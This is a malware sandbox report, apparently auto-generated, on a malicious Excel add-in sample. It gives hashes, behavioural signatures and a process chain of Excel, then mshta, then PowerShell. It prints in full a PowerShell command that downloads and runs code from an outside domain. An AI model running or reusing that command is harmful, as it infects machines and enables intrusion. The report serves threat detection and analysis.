Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 20:53
Static task
static1
Behavioral task
behavioral1
Sample
731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a.xll
Resource
win11-20240508-en
General
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Target
731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a.xll
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Size
12KB
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MD5
5a75354b4cea88a97bbbc0dc8718010a
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SHA1
307b838743b09f3b561c5ff9490e1e67cd56f3e2
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SHA256
731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a
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SHA512
c77ed68a2f088221b0f32e02473d8d8736a6c3421b791378b159702b032912ed5f0b3a16d69ea38d85bfdca8f4d6a8ffda23f1de3cbc08ba3255bbf186b2c9ea
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SSDEEP
192:BL29RBzDzeobchBj8JONfONZx2ru0rEPEjr7AhY:R29jnbcvYJOcDxiu0vr7CY
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4884 3508 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 34 2632 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3508 EXCEL.EXE 3508 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3508 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2632 powershell.exe 2632 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2632 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3508 EXCEL.EXE 3508 EXCEL.EXE 3508 EXCEL.EXE 3508 EXCEL.EXE 3508 EXCEL.EXE 3508 EXCEL.EXE 3508 EXCEL.EXE 3508 EXCEL.EXE 3508 EXCEL.EXE 3508 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 3508 wrote to memory of 4884 3508 EXCEL.EXE mshta.exe PID 3508 wrote to memory of 4884 3508 EXCEL.EXE mshta.exe PID 3508 wrote to memory of 4884 3508 EXCEL.EXE mshta.exe PID 4884 wrote to memory of 2632 4884 mshta.exe powershell.exe PID 4884 wrote to memory of 2632 4884 mshta.exe powershell.exe PID 4884 wrote to memory of 2632 4884 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3508 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2632
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a.xll
Filesize12KB
MD55a75354b4cea88a97bbbc0dc8718010a
SHA1307b838743b09f3b561c5ff9490e1e67cd56f3e2
SHA256731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a
SHA512c77ed68a2f088221b0f32e02473d8d8736a6c3421b791378b159702b032912ed5f0b3a16d69ea38d85bfdca8f4d6a8ffda23f1de3cbc08ba3255bbf186b2c9ea
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82